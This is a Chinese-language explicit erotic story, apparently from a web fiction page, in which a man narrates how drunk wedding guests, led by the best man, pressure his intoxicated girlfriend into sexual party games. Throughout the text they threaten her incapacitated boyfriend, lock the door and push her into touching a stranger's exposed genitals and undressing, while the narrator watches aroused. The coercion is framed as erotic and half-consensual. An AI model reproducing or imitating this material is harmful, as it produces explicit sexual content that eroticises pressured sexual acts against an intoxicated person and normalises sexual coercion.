图片载入中

女友做伴娘的意乱情迷

特大字】 【大字】 【中字】 【小字

我和女友曈曈是大学同学,都说大学里面谈恋爱出来没有几对成了,而我们两人则是为数不多的那几对能成的,因为她实在很爱我,当然她爱我的原因是我也那么爱她。毕业后她放弃了更好的工作岗位,和我一起来到我家所在的城市,和我一起生活。日子过的很开心,如果没有下面的这个故事,我想我们会和大多数人一样的生活下去,可是事情发生到现在,我不知道我们的生活以后会变成什么样子,会成为天堂,还是地狱!

曈曈虽然和我来到了我家这个城市,但是我们并没用同居,她的姑姑家刚好也在这个城市,于是我们除了每天下午下班能小聚一会,晚上还是要各回各家,当然我们每过一段时间也会去开房缠绵一下。还清晰的记得我和她第一次做爱的事情,在学校外面的一个30元一晚的小旅馆,看起来不是很干净的花布单子的床上,我们俩完成了彼此的第一次。她流了很多,而我紧张的几乎硬不起来。想想也是一段美丽的回忆。从那以后到现在已经过了有六年多了,我们在这六年里做过多少回爱,也已经数不清了。有一年暑假,我们没有回家,在校外租了房子,那一个暑假几乎是在床上过来的,睡醒了就疯狂的做爱,累了就睡。除了吃饭和傍晚的散步,几乎就剩下这两项运动了。

也许我们都还很单纯,除了对方,没有和别的人亲热过。但是我们的做爱经历却并不见得少多少,从最早的完全放不开,到换用各种姿势,再到慢慢的,我们相互第一次口交、甚至到后来,我开始开发她的后庭。她有些保守,却总是能放的很开。她曾很认真的对我说,要做的一个人的淫娃,只在我面前淫荡,要让我为她疯狂。

似乎有点偏题了呢,思绪就是这样,一旦打开就像开了闸的洪水一样,关也关不掉。以前单纯的生活的回忆,就先到这里吧。现在我们上班已经三年了,我发觉自己反而越来越喜欢和她做爱,似乎如果假象换成别的女人,反而没那么大兴趣,虽然我没有试过。可能因为太熟悉了,不是会厌倦,而是成为了眷恋。曈曈算是个美女,不是顶级美的那种,但是比较越看越有味道。在许多喜欢骨感妹妹的眼里,也许她偏胖了。可是我觉得她还是很匀称的,不是很丰满,但也不骨感。脱光光的她只会让人觉得很匀称,很舒服。咪咪也只有B罩杯,没有那种夸张的吓人的大,关键最舒服的就是,曈曈身上的肉很软,不管是咪咪的,还是腰上的,或者屁股和大腿。摸起来真的很舒服。抱着也很舒服,软并且有弹性。 可是从今年开始,我总觉得我们做爱的时候少了点什么,她不会像以前一样,做到高潮浑身颤抖,我也不会像以前一样,如果想射的时候,怎么也忍不住。我们都变得很会做爱了,我开始会慢慢的控制节奏,她开始会很妩媚的叫,我们开始一起看黄色电影调情,一起看黄色小说互相看对方自慰。也许人就是这样,总喜欢找一些新鲜的东西来刺激。我慢慢的看到了一些换妻类的小说,仿佛一下子又有了初中时候第一次偷偷看三级片的感觉一样,十分刺激。我知道我上瘾了。 挣扎了很久,越看越多的换妻3P类的小说,每次做爱的时候,我都忍不住幻想曈曈在我的眼前被别的男人抽查的景象,想象着别人的阴茎在曈曈的阴道里抽插、在曈曈的嘴巴里爆射,我就硬的不行。慢慢的,我会和曈曈一起看这些小说、电影。还会讨论很多情节。看的出来,每次说到这些的时候,曈曈也很刺激。做爱的时候反应总是很激烈的。但是好像这些幻想一旦等我们做完爱,冷静下来,就又无影无踪了。我知道,因为我太爱她了,所以,我看不得别的她对别的男人有感觉。所以,我们不可能真的去做这些事情的。

开场白也许有些长了,但是没有以上这些铺垫,下面这件事情就不会发生了。 毕业后,这个城市我们的同学朋友很多。而且我们这个二十七八的年龄,大部分人都开始结婚了。曈曈也被周围的朋友邀请过几次当伴娘,结果都被我强硬的态度挡下来了。大家都知道,现在这个社会,当伴娘十有八九或多或少是要让别人吃豆腐的,我怎么会答应呢?不过该发生的还是会发生了。

周梅婷是曈曈大学很要好的一个同学,她五月六号结婚,同样发给我们请帖,举办婚礼的城市刚好离我们的城市不远,坐车过去也就是不到三个小时。五月五号下午,我和曈曈收拾了一下,就出发去梅婷家。一路上曈曈很兴奋,要好的朋友要结婚了,明年就轮到我们了,要去学习学习经验。

到了那个城市,梅婷开车来接我们回去,一路上曈曈和梅婷叽叽喳喳说个不停,那个兴奋劲好像是大家要集体婚礼似的。晚上就在梅婷家吃了饭,伯父伯母都很热情,我们就当娘家人留宿在梅婷家里。因为第二天早上五点多,新娘就要去化妆,曈曈要陪着去,而我则被安排着招唿客人,所以晚上的时候,曈曈陪着梅婷睡去了,两个人在床上聊了一个通宵,而我一个人睡在了客房。一大早醒来的时候,曈曈和新娘早已经去化妆了。难忘的一天开始了。

直到后来我才直到,梅婷提前找好的伴娘前一天被车挂倒受伤了,临时决定让曈曈做伴娘的,曈曈实在推不掉,而且也没有时间给我说。当我见到曈曈陪着新娘回来的时候,她已经化了妆,穿上了伴娘衣服,我心里虽然十分不爽,但是也不能在这个时候再说什么。只好心里想着,要暗暗的护好曈曈。

一切如同婚礼的流程,来接新娘,撞门,藏鞋,抢红包。拍照的摄像的,起哄的,杂乱不堪。我的心思虽然一直挂在曈曈身上,可是人实在太多了,根本照看不过来。伴娘一路上是跟着新娘的,我竟然都挤不到曈曈身边和她说句话。直到去了酒店宴席上,曈曈陪同新娘新郎敬酒的时候,曈曈才给我说了一句“好累啊”。

伴娘衣服是一身粉红色的连衣裙,曈曈穿着很好看。和新娘站一起像一对姐妹花似地。宴席散了的时候,我以为差不多要结束了,没想到事情才刚刚开始。 宴会结束后,因为梅婷的爸爸,也就是伯父喝的有点多,曈曈让我去送一下再去新房找他们,我本来是不愿的,这么多人随便找一个送就好了,可是毕竟伯父招待了我们一晚上,我不好推脱。于是我去送了伯父,而曈曈跟着新娘去了新房。

送到伯父家后,我立马出来打了个车去他们的新房,一路上心里不停地再想,大白天的不会开始闹洞房吧,应该也没有人闹伴娘什么的,一会去了找个机会把曈曈带走。可是心里又打鼓,万一闹开了怎么办,那么多男人占曈曈便宜,我该怎么办?想着曈曈今天的一身粉色连衣裙,竟然有点想要了。

路上车比较堵,等我到新房已经是我们分开一个多小时后的事情了,新房的门是锁着的,我在外面使劲的敲门,听见里面很吵很闹,但是没有人开门,我打曈曈的电话,没人接,打梅婷的电话也没人接。我心里又着急又紧张。我情急之下,对着大门猛踹几脚,可能是里面得人听见了,有一个喝的已经满脸通红的小伙给我开了门。我二话不说,推了门就进去了。屋子里面有十来号人,都是新郎的朋友,男人居多,除了曈曈,只有一个女人,我还不认识。大家正在灌这两个女人酒。我进去拉住曈曈,曈曈已经喝了不少,小脸通红,看到我来似乎放心了不少,我明显感到曈曈有些害怕。我二话不说,拉着曈曈就往外走,结果被三四个人嬉皮笑脸的堵住路,说道:“大家一起玩伴娘的,你怎么能一个人带走偷偷玩呢?”我心里一股火:“我要带她走”。对方领头的好像是伴郎,个字并不高,有个一米七五左右。伴郎笑着说道:“大家喜庆玩玩,没别的意思,结婚这么好的日子,不能生气的。我们只是喝喝酒,没什么的,这是你女朋友吧,来一起喝吧,你半路劫走人多不喜气的。”对方软话一下,我反而发不出火来,有点进退两难,曈曈拉了拉我的手。

我问道:“梅婷呢?”

曈曈还没有答话,伴郎就回到:“和新郎去接公公婆婆了,走的时候让伴娘伴郎招唿我们呢,你们走了算什么事啊!”

曈曈也说道:“一会就回来了,要不等他们回来我们再走。”

我犹豫了一下,实在没有什么发对的理由,只好留下。

伴郎招唿大家:“继续继续,伴娘的女朋友来了,我们换一个游戏玩吧”。有人跟着起哄,伴郎继续道,“个比较流行的游戏吧,国王游戏,我去找扑克牌。” 伴郎找来扑克牌,说了规则,有几个不想玩的坐一边看电视品酒去了,剩下的就只有八个人,曈曈和那个不认识的女的,我、伴郎还有四个男的。我们把客厅让给了喝酒的人,去了客房玩。

八张牌,一个大王,红心一到红心七。抽到王的人随意挑两个号码的人做出他所说的指令,抽到被国王点到号的人就要完成国王的指令。不愿意做的就要罚酒。因为这点,我才同意玩的,如果抽到曈曈了,大不了不做,我替她罚酒。 游戏就这样开始了,因为男人众多,所以大部分的情况还是指到了两个男人之间接吻,某男脱某男的袜子之类的。没想到第一次抽到男女的竟然是我和那个不认识的女人,国王是一个脸上有黑痣的男人,黑痣说:“一号把自己的牌从六号的衣服下面放进去,再从领子里拿出来。我是一号,那个女人是六号。所有人开始起哄,我和曈曈都有点不自然,我看了那女的一眼,没有曈曈白,但是胸部要比曈曈的大,她反而比我镇定,等着我去做。我看了曈曈一眼,决定罚酒,于是慢慢一杯的泸州老窖,是那种一次性杯子,我闭眼一口气闷了进去。

伴郎喊了声“好!”然后游戏继续进行。

我的酒量一般,再连着两次抽到曈曈帮别的男人解皮带和一个男人抓一下曈曈的胸部的时候,我又挡掉了两杯酒,这个时候,胃里已经翻江倒海了。有时候伴郎几个男的抽到类似于相互舔脚趾的命令是,也会喝一杯酒,基本上大家都有一些醉意了,曈曈在我来之前不知道被灌了多少,脸一直是红扑扑的。后来看我喝不行了,又替我挡了一杯。

不知道时间过去多少,我去卫生间吐第二次出来的时候,已经天旋地转了。做到椅子上已经已经没力气抽牌了。我吆喝着不玩了,伴郎说把我踢出局,曈曈不愿意,于是他们把我放着靠着墙的床角边,让我睡觉。其实我的意识是清醒的,我能清楚的听到他们的对话,但是舌头已经麻木没知觉了,浑身也用不上劲。就被他们扔上了床。我还听到,伴郎对曈曈说,你要是不玩,我们就把一瓶酒捏着你男朋友的鼻子灌进去,然后就让你们走。曈曈被迫继续和他们玩。

伴郎又重新规定到,因为喝多就没办法玩下去了,所以后面的游戏必须执行,不能罚酒。曈曈那个时候和已经喝的有点疯了,而且因为前面一群男人确实没有太过分的举动,所以她没有了那么多的防备之心,

无法挽回的疯狂,就此开始了。我被灌倒放在床上,心里却放心不下曈曈,将头转过来看着他们继续的玩游戏。看着曈曈坐在几个男人旁边,心里莫名的竟然出现了一些紧张和刺激。如果,没有看那么多的淫妻小说。如果我没有将曈曈的欲望用那么极端的方法刺激出来,我想我们都不会玩到这种程度。可是人生没有如果!

不得不说,伴郎是一个很会营造气氛的人,往往这种人才最难对付,他懂得把握人的心里,会一点一点的触碰你的底线,但是又不会超越它看,慢慢的使你并入他的节奏,曈曈便是在这样一个状态下。那个我不认识的女孩姓徐,叫徐萌。 后来我才知道的,她和这帮人的关系其实是很混乱的,最早其实是梅婷新郎的炮友,今天新郎结婚,她却能毫不避嫌的出现在这里。

这一局伴郎抽到了大王,伴郎坏笑道:“三号把香蕉夹道两腿中间,四号用嘴将香蕉皮剥掉。”

抽到三号牌的胖子欢唿一声,扯过一支香蕉就夹道腿中间做好,四号便是徐萌,所有人又是一阵起哄。黑痣男突然一把抓住那个胖子,“墩子,这么夹不紧啊,来,把拉链拉开,用拉链卡住香蕉!”

那个叫墩子的胖子也是嘿嘿一笑,站起来就将拉链拉开,我甚至可以看到里面黑色的内裤和有些勃起的阴茎的形状。我还看到曈曈竟然也悄悄的在瞟向胖子的拉链。所有人都将注意力集中在胖子的两腿之间的时候,只有我和伴郎看向曈曈。所以我和伴郎随即有个目光的交汇,我想,喝完酒的我目光是迷离的,伴郎的笑容却很坏。我突然预感到了要发生什么,但是竟然没有去阻止。只是默默的在那里看着,头疼的厉害。我是该充分相信曈曈会为了我保护好自己呢,还是想看到只有小说里的情节呢?恐怕我自己也说不清了。

胖子将香蕉塞到拉链里面,估计和他的小弟弟挤在了一起,然后拉紧拉链,紧紧的卡住香蕉。徐萌一点也不做作的蹲在地上,将嘴伸向了胖子裆部的香蕉。 毕竟拉链卡着香蕉是活动的。

徐萌试了几下,都要不掉香蕉的皮,然后翻了胖子一眼:“你把香蕉加紧点啊”。所有人又是一阵大笑。胖子二话不说,拉开拉链,将香蕉塞到了两个蛋蛋下面的位置,用腿夹紧。索性拉链也不拉了。徐萌故意的娇喘一声,嘴巴就凑了上去。所有人看着胖子的内裤里面的那根,慢慢的勃起,竟然达到和香蕉差不多的长的长度,看来刺激真的不小。徐萌嘴巴拨着香蕉皮,鼻子和脸就在胖子的老二上蹭来蹭去的,胖子的黑内裤貌似都要顶破了。一群人看的兴奋不已,我在床上躺着,竟然也有感觉了,只是喝多酒的人并不敏感,小弟弟硬不起来。徐萌剥水的声音。胖子这下子估计半天火气都下不去了。

吵闹间,游戏继续进行。好巧不巧的,伴郎又抽到了大王。伴郎一本正经的说道:“一号将刚才剥好的香蕉用腿夹着,七号吃掉。”

所有人又兴奋的笑了起来,这个伴郎实在是太坏了。如果是两个男人,岂不恶心死了。七号,竟然还是这个胖子!

一号呢?半天没有人出来,我有种不祥的预感。所有人亮出了自己抽到的号码,除了曈曈。结果,依然很明显。

我觉得自己的心急速的跳动着,曈曈会怎么做?我的心情十分的纠结,躺在那里看着曈曈通红的脸,她也在望着我。伴郎恰如时机的出现了,挡在了我们两人的中间,嘻哈着对曈曈说道:“你看刚才萌萌都那么勇敢的,玩游戏不能玩不起啊。多扫兴的,”他顿了顿又说道:“大家都是成人了么,这游戏撑死有点暧昧,又不会真的发生什么,你老公肯定也不是那幺小气的人,再说他也在场呢么。” 曈曈的表情很犹豫,还是说了声:“不行”。

我突然有些感动,但是竟然还有一些隐隐的失望。

伴郎突然板了下脸,对曈曈说道:“不遵循游戏规则,我们说好的,让你老公再喝一瓶然后就你们就走,大不了一会回来我们拉新娘玩好了。”

其实伴郎只是故意吓唬一下曈曈,带点试探性。因为毕竟曈曈的犹豫让他看到了希望。剩下的男人们除了胖子嘻嘻的傻笑,所有人都三言两语的鼓动起曈曈来。徐萌突然拉了一下曈曈:“放开点,没事的,这伙男人也就是闹一闹,没什么坏心的。说不定你老公看你这么玩,回头还更刺激呢。”也许是最后一句话打动了曈曈,曈曈在此起彼伏的起哄中,轻轻的电了两下头。

我几次要阻止,话到了嘴边又咽了回去。

伴郎将曈曈推到了胖子的旁边,胖子其实和我差不多高,不到一米八的样子,但是身形实在是很庞大,曈曈在他面前显得那么的弱小,几个人围在了胖子旁边,等着激动人心的那一刻。伴郎竟然专门还给我的视线让出了一个角度,让我也能看到令人血脉喷张的场景。

伴郎指着刚才盘子里放着的徐萌用嘴剥好的香蕉,对萌萌说,你自己放进去让他夹住吧,我们的手都没有洗呢,毕竟你要吃的,弄脏了不好。看到曈曈实在是不好意思,伴郎故作善解人意的说:“吃一半就好了,不用全部吃完的。” 靠,全部吃完岂不嘴巴要碰到胖子的蛋蛋了!

由于刚才胖子已经把拉链拉上了,大家喊着让曈曈自己拉开放进去,出乎意料的是曈曈竟然没有拒绝,可能是因为一直在妥协,反而没有了拒绝的心思了。 曈曈将轻微颤抖的手伸了出去,慢慢的拉在了胖子裆部的拉链上,故作镇定的拉了下去。突然的一下,胖子的阳具就弹了出来,曈曈一声惊唿,所有人都下了一跳的。

原来刚才徐萌已经弄的胖子欲望高涨啊,老二已经硬的不行,转过身提裤子的时候,随手就把内裤扒拉了下去,套弄了两下又拉上拉链,内裤卡在了弟弟根部连着蛋蛋的地方。由于一下火起,还有没降下去就又被刺激了起来,所以故意使坏不说,等曈曈拉下拉链,硕大的一跳阳具就弹了出来。我亲眼看到一跳至少有十六公分的阳具,怒气冲冲的挺立在曈曈的面前,竟然有着说不出的刺激。 场面一下火爆不堪,恐怕伴郎也没有料到直接会进入这种场面。所有人不约而同的喊道,“吃香蕉!”,“吃香蕉!”,“吃香蕉!”

伴郎悄悄的转身把卧室的门锁上了,也许是怕外面拼酒的人闯进来,也许是怕曈曈突然跑出去,我已经来不及想了。

曈曈显然是吓坏了,但是眼睛却不停地瞟向胖子怒挺的阳具上,他的确实是比我的要大的。没想到那么胖的人,老二的本钱却那么的足,紫的发亮的龟头,离曈曈的脸只有三十公分左右的距离,曈曈想躲,却被后面的人挡着没有躲开。 其实这种暧昧的游戏场合下,又是喝了酒,胆子总是要大一些的。如果没有这些环境的影响,曈曈早就翻脸了的。徐萌有小声的对曈曈说了些什么,曈曈放松了下来。徐萌伸手弹了胖子阳具两下,胖子一脸的刺激,周围人仿佛也刺激的不行,每个人几乎都支起了小帐篷,甚至还包括我。

只见徐萌拉起了曈曈的手,曈曈却害怕的闭上了眼。慢慢的徐萌将曈曈的手按在了胖子的阳具上,胖子的瞪大了眼睛,阳具不自觉地跳动了几下,曈曈似乎要缩回手,却被徐萌用力的按住了。觉得自己的老二也高高的挺立了。内裤蹦的有些疼。

徐萌推着曈曈的手,将胖子的阳具向上推起来,贴着胖子的肚皮。胖子的阳具已经青筋暴起了,两颗蛋蛋也通红滚圆。曈曈另外一只手颤悠悠的将香蕉塞入了卡着蛋蛋的内裤下面,一手推着胖子的阳具,一手扶着香蕉,脸慢慢的凑了过去。

所有人都屏住了唿吸。只有胖子沉重的唿吸声还有嗓子里不自觉地发出的低沈的呻吟声。曈曈的脸并没有碰到胖子的阳具,因为有手在推着,但是可能因为胖子的敏感部位感受到了曈曈喷出来的热气,胖子的龟头上的马眼竟然流出了透亮的液体。曈曈飞快的吃了一口香蕉,立马站了起来。胖子的阳具还在一跳一跳的。

所有人的欢唿声中,胖子自己套弄了两下,赶紧又费劲的塞了回去,拉上了拉链。曈曈不好意思的瞟了我一眼,发现我没有生气的表情,好像放心了不少。 曈曈脸红得似乎要滴出水了,游戏却在所有男士顶着帐篷中,继续进行着。 (3)

这个时候,其实我的酒已经醒了很多,身体上的醉酒反应毕竟还是在的,但是思绪和心理上,早已醒了大半。我几乎一直注视着曈曈,心里的滋味有些复杂,我也很想知道,曈曈的心里是怎么想的。可是她好像开始有意无意的回避我的目光,当然也不敢正视那个胖子炙热的目光。也许,曈曈还震惊于刚才的那一幕。 没有哪个女人,会在看到除了自己老公以外的男人的阳具之后,能很快平静的。

其实如果伴郎他们强行对曈曈做些什么,或者很直接的进行一些过程,甚至于在这个并不大的房间里轮奸了曈曈,我想我会很愤怒和难过的,而不会有任何一点点的刺激出现。正是这种畸形的暧昧的气氛,还有曈曈似乎都是半推半就的接受,反而让我,更能接受一点。可能伴郎正是知道男人的这种心理,才会玩这个什么国王游戏,才会一步步的打破我们的底限。究竟会发展到什么地步,我觉得自己已经快丧失正常的理智了。因为,我的老二也已经翘了起来。

每个人又从伴郎手中抽走了牌,曈曈竟然抽到了大王,这是玩了这么久这个游戏的第一次,胖子和黑痣男几人明显有些失望。伴郎却表情依旧,笑着对曈曈说:“美女,下命令吧!”

如果不是刚才上一轮的疯狂,曈曈却对会说出一些很普通的命令,比如1号给2号倒杯水啊,2号给3号捶背之类的。可能正是疯狂的气息还没有过去,曈曈貌似疯狂的,带有对上一轮惩罚的报复心理的说道:“五号将一杯果粒橙倒到六号的内裤里!”。也许正是因为命令出自于最为正经的曈曈口中,游戏的气氛再起高潮。曈曈也许也没有想到,出来混,总是要还的。

你见过一个大男人往另外一个大男人内裤里面倒果汁么?这种好笑的场景很快就出现了,中标的是黑痣男和一个眼镜男。黑痣男一脸不爽的看着眼镜男将果汁倒入自己的内裤里,弟弟洗了一个果汁澡,估计谁都不会舒服的吧,看黑痣男的表情就能知道了。眼睛男还一脸淫邪的喊道:“黑子的老二缩回去了,哇哈哈哈哈!”一群人哄堂大笑,而这件事的始作俑者,曈曈也是忍俊不禁,好像已经完全融入到这个游戏的气氛中去了。黑痣男原来真的就叫黑子。

黑子穿的是一条布料的休闲裤,果汁一浇,整个裆部到裤脚全部湿掉了,黏在腿上肯定特别难受。连着三四轮,国王不论谁拿到,竟然再也没有叫道两位女士,所造成的结果就是,三四个男人的裤子都被果汁浇了个透。曈曈和小徐都要求换个游戏,毕竟后面果汁如果倒到女士的小内裤里面,想想就让人发疯,伴郎竟然同意了。几个裤子湿了个透的男人也没有反对,玩成这样,一会怎么出去见人啊。

伴郎又提出了玩真心话大冒险,这不是换汤不换药么。这种场面下,恐怕没有哪个男人是不愿意继续玩下去的吧,而两位女士,徐萌肯定是没有意见的,而曈曈,基本也是放开了,虽然还是很害羞,可是已经不在抵触这样的游戏了。 伴郎约定好规则,同样是抽大王,抽到大王的人可以指定一个人选择真心话或者大冒险,如果是真心话,就由抽到大王的人提出问题,被指定者必须回答真心话,不可以撒谎。而不愿意回答的话,就必须选择大冒险,又抽到大王的人制定惩罚内容必须完成。

这样的规则,抽到大王的男人们会放过曈曈么?拿脚趾头想想也是知道的啊,曈曈却来不及深想。游戏便又开始了。

果不出其然,不管是哪个男人,抽到大王都会指定曈曈选择,而且给出的理由很充分,大家都和徐萌很熟了,不用问也知道答案的啊。曈曈就在这样的情形下,抵挡着一波又一波的攻击。

“曈曈美女,你和你老公什么时候第一次做爱的啊?请说真心话!”

曈曈偷看我一下:“大二的时候第一次的”。

“喔喔喔……”大家起哄。

“曈曈美女,你的咪咪是什么罩杯的啊”。

“私密的问题可不可以不要问啊!”。

“那你就选择大冒险了?”眼镜男不怀好意的笑着说道。

“算了,告诉你又怎么样,就是B罩杯的!”曈曈怒道。

“小美女别生气么,哥哥问你一个,你老公的弟弟有多长啊?”换一某男继续问着,“说假话老公弟弟会阳痿的哦。”真恶毒啊!

“你才阳痿呢,有十四五厘米的吧。”曈曈不敢在看我。

“噢噢喔~好短哦~”!大家起哄到。

“曈曈啊,你幻想过和别的男人做爱么?”伴郎终于露出了他的爪牙。

“我……我……”曈曈已经语无伦次了。

这个时候的我已经完全被忽略了,可是某个问题一旦问道我身上,几个男人就不时的转过头来对着我坏笑,也许是这样的气氛实在是太尴尬,我决定闭上了眼睛,眯着眼偷偷的观看。其实我知道,这个时候的曈曈已经完全沦陷了,我已经无法将她拉出来,即使我现在起来带她离开这里,今天发生的一切已经牢牢的印在她的心底,埋下的种子,总有一天会发芽的。会发生到什么程度,曈曈,我知道相信你了。

“我选择大冒险。”曈曈终于扛不住哪些死皮不要脸的问题了。

伴郎坏笑到:“大冒险,就一定很冒险哦”,顿了一下“去把黑子的湿裤子脱下来吧,黏着腿怪难受的”。

“不要”!曈曈很快回到到。

“那么就回答我,有么有幻想过和别的男人做爱啊!”伴郎继续紧逼着。 如果没有我在场,也许曈曈会撒一些谎,也许会死不认账,可惜没有这个如果。曈曈已经完全不敢注视我的存在了。默默的走到黑子的面前,轻轻的咬着嘴唇,说道:“你不要动。”

一群人都在傻笑,曈曈两个手慢慢的伸了过去,握着黑子的皮带扣,摸索着开皮带的按钮,怎么解开男士皮带的按钮,还是很久以前我教给曈曈的。按下去轻轻的抽开,黑子的帐篷又慢慢支了起来,曈曈仿佛被惊吓到了一样,迅速的把黑子的裤子拽到了脚跟,看了眼黑子支起来的帐篷,跳到了一边去。伴郎没有继续难为她。让黑子自己脱了扔一边。

游戏继续。

“曈曈美女,把墩子的裤子也脱了吧!”

“我不!”

“那你可以请求他自己脱掉,就不用动手了,也不用回答真心话了。”

犹豫了一下,曈曈还是对胖子说道:“墩、墩子,你自己把裤子脱了吧。” 胖子坏笑的说,“曈曈啊,你要是说,好哥哥,你把裤子脱掉给我看。我就自己乖乖脱掉。”

曈曈头皮直发麻,还是深吸了一口气:“好哥哥,你自己脱掉裤子吧,给,给我看。”

胖子二话不说,麻利的脱掉了裤子。

什么真心话大冒险啊,简直就是脱衣游戏。而且曈曈注定是输家。

没多久的功夫,满屋子人,除了躺着的我,还有两位美女,所有的人都已经只剩下一跳小内裤,还都是被老二狠狠的顶起来的,曈曈有些坐立不安了,目光不知道落到哪里好。

“曈曈美女,真心话还是大冒险。”

“我选择真心话”曈曈说什么也不愿意再做大冒险了。

“你和老公做爱的时候,老公有没有说要找别的男人干你啊?”还是可恶的伴郎。

“你……”

“说假话会让老公阳痿的哦。”

“我选择大冒险”,曈曈还是妥协了。

“脱掉裙子吧,你看我们都脱掉了呢。你脱掉裙子还有罩罩啊,还有内裤啊,又不吃亏的。你要是自己不动手,我们就帮你了哦。”伴郎假装威胁道。

也许是看到曈曈有些放不开,不自在了。徐萌主动拉着曈曈的手,说道:“这个大冒险我替曈曈做了。”说着就大方的脱掉了自己的外搭和裙子,只剩下罩罩还有内裤。我心里都不禁暗叹一下,这个徐萌有C到D之间那么大,而且比曈曈的还白,小腹也很光滑平坦,看着就让人冲动啊,小内裤竟然还带蕾丝边的,真让人受不了。

可能是所有人都脱掉了衣服,曈曈最终也还是没有逃脱掉,这种情况下,曈曈能逃脱掉么?

穿着内衣的曈曈真的很性感,不是因为该大的地方大,该小的地方小,而是那种匀称,很古典的美。或者说流线型很好。越看越耐看的那种。就连徐萌的目光都不时的落在曈曈的身上。更不要说说周围一圈玩游戏的狼。

我实在不知道该怎么描述自己的心情,这种美好应该是属于我自己的,秘密珍藏的,但是当拿出来让别人看到,又那么的骄傲,还有更多的是酸,我承认我吃醋了,自己老婆穿着内衣让别人看,心里怎么可能不会不舒服呢?吃醋?嫉妒? 尴尬?刺激?我已经混乱了。那一刻,我真的失去的思考的能力。

曈曈还做着最后的努力:“不可以再脱了,否则我立马走人。”

伴郎打着哈哈:“我们不会强迫你的,大喜的日子,闹起来多不好看的。” 对啊,大喜的日子,那么新郎新娘怎么还没有回来呢?新郎和新娘为什么还没有回来呢?后来才听说的,和酒店那边出了点问题,主要还是经济上有点小纠纷。酒店方面擅自在之前预定的价格上面做了调整,却没有及时通知新郎,虽然钱的事情问题倒不是很大,但提前没有接到通知的话,心里会很不舒服,所以新郎新娘连同老丈人丈母娘,正在和酒店方面协商。

伴郎接到了新郎的电话,意思应该就是说要晚点回来,让招唿好大家的之类的吧。这个细节我并没有注意到,我的心思几乎都在曈曈的身上,不过,整个屋子的人几乎都是把心思放在了曈曈身上,不过显然没有什么好心思。曈曈在这么多人的注视下,还是很不自在的,虽然今天穿的内衣不是很暴露,但毕竟是在众目睽睽之下,只穿一身内衣,这是平时几乎无法想象的。

黑子嘻嘻哈哈的拉了一下曈曈内裤上的一个小蝴蝶结:“曈曈啊,怎么穿这个可爱的小内裤啊。”

曈曈连忙躲开了,“不要动手动脚的,说好不能太过分的。”

“呦,小美女发脾气了呢。当着老公的面都脱我们的裤子了,还害羞什么啊。连墩子的老二都摸了呢!也摸摸哥哥的吧。”

曈曈有些气急败坏的样子,虽然整个过程都是伴郎他们施加了压力,但是毕竟也是自己去做了。曈曈貌似有些抓狂了。

伴郎白了黑子一眼,“玩的别太过分了,黑子。人家男朋友还在场呢。”(言下之意,我不在场就可以玩的更过分了么?)“哥们,醒醒酒吧,再玩一会女朋友都要跟我们跑啦。”伴郎走到床边推推我说道。

我并不知道伴郎是否清楚我是真醉还是已经清醒不少,但是就这个机会,假装被叫醒,已经清醒了点。

睁开眼,看到一屋子穿着内衣的人,故作镇静到:“你们在干什么!曈曈,你。”

曈曈连忙走上两步拉着我,紧张的说:“我们玩游戏输了的惩罚呢,没有做什么的。”

伴郎也似笑非笑的看着我说道:“玩游戏稍微疯了点,给你道个歉啊,别介意的。”

我沉默了一下,揉了揉还是跳的发疼的脑袋。曈曈连忙跪在床上帮我揉着。 好像有些冷场了,几个男人都不知道说什么好,一个个顶着又半软下去的帐篷站那里看着我们,这个时候伴郎又出来圆场了:“哥们酒醒点的话,就一起来玩游戏吧,大家正玩了一半呢,兴致正好,今天就是大家热闹热闹,对了刚才新郎打电话说要晚点回来,不知道要等到几点呢,我们一群人等着闹新房呢。”顿了顿,见我没有说话,又继续道,“不如这样吧,我们排练一下闹新房的节目,一会新娘新郎回来就熟练了么,大家说是不是啊?”虽然我们都不知道伴郎葫芦里卖得什么药,但是一圈人还是不停附和着,好像又发现了新大陆一样。

伴郎看气氛活跃起来了,继续对我道:“哥们,这样吧,你和曈曈刚好一对,就扮演新郎新娘好了,要不让别人扮新郎你还不得把我给吃了。”

为什么是非要曈曈扮演呢?这边不是还站着一个大美女呢么?还没有等我的话说出口,徐萌开始叫好了:“好呀,好呀,那我演伴娘,今天说男方家的朋友不让当伴娘的,这个差事让咱们的美女抢走了,现在我要演回来。王哥,你继续当你的伴郎啊,轻车熟路么!”

原来伴郎姓王。

这一提议曈曈竟然也没有反对,看起来还有点欣然向往的意思。毕竟我们准备明年结婚的,可能这也算是一种提前预演的经验吧,可是事情有这么简单么? 我心里早有了答案。

“曈曈美女没有反对,那我们就开始吧。”伴郎又开始张罗了。

“首先,要求新娘将新郎的衣服也都脱掉,留下小内裤就好了,哈哈大家都是这么光熘熘的,也别害臊啊。”

事情真的玩到我的身上,我也还是很不好意思的,可能因为面对的是我,而且前面也经历了那么些刺激的情景,曈曈反而比我放得开了。一双小手将我的衬衣口子一个个解开,然后皮带,然后袜子,将裤子慢慢的脱了下来。我的老二也是半硬着的,顶着内裤一个突起,曈曈好像有意无意见的,用手在上面扫了两下,我的老婆大人啊,诚心让我出丑么!

一阵大笑中,我擡起头看了看,心想道:笑什么笑,你们不一个个也是穿着小内裤,顶个小帐篷的。环视一圈,发现除了胖子穿的是个三角内裤,其他人包括我,都是平角的,毕竟还不是很暴露。我多看了胖子两眼,毕竟那里是我老婆第一次摸到的别人的老二。真不知道那么胖,老二怎么还会那么大的。

曈曈有些害羞的把头埋到了我的怀里,我可以看到他白皙的脖颈下面的一抹粉红,还能感受到她如小鹿乱撞般的心跳,小妮子估计这种高频率的心跳已经维持了很久了吧。仿佛知道我的想法,曈曈悄悄在我耳边说了句:“你个坏蛋。” 好吧,我承认我确实是个坏蛋。

眼睛男开始发言了:“今天是我们曈曈美女和她老公大婚的日子,我们为表庆祝,必须要做几个游戏来检验新郎新娘的默契程度,还有恩爱程度。大家说好不好?”

他还把自己当司仪了!我心里一阵鄙视,说话都没有逻辑的,精虫上脑了吧老兄。

伴郎接到:“好,按照传统惯例,现在先由开火车游戏开始,送新娘找新郎。”一阵叫好声之后,新郎让所有人坐在床沿上,还好这个床够大的。搬个椅子让我坐在床尾,手拿一根烟,面向他们一排人的方向,游戏规则便是,新娘趴在这些并排坐着的人的腿上,所有人的腿上下乱动,将新娘送到我面前,点着我拿着的烟。

这个游戏其实我见过的,但是玩的时候都是穿着衣服的啊,如果这样的话,曈曈就要只穿着内衣,趴在这些男人光着的大腿上,眼前还都是一个个支起的帐篷,我和曈曈都有些犹豫。但是所有人都坐好了位子,不停地催促着。

